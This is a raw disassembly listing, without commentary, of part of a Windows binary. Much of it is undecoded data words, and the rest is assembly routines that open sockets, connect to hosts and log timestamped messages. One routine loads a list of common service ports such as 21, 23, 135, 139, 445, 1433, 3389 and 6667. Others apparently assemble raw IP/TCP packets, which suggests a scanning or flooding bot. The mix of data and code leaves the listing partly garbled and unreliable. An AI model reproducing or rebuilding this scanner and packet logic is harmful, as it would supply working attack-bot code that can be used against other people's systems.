		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Eh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B9E89000h, 2B0229BDh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2EAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0BDE890FCh, 2B0229B8h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 31E89056h
		dd 5F022EA9h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 11E890FFh, 2B0229B2h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 28A7F7E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22EA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022E9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 2E9F03E8h, 646A9002h, 0A322E890h,	0FF330228h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 0A2CAE890h, 0A6A0228h, 0FF549DE8h, 59C085FFh, 858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
		dd 2E9E3FE8h
		db 2
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
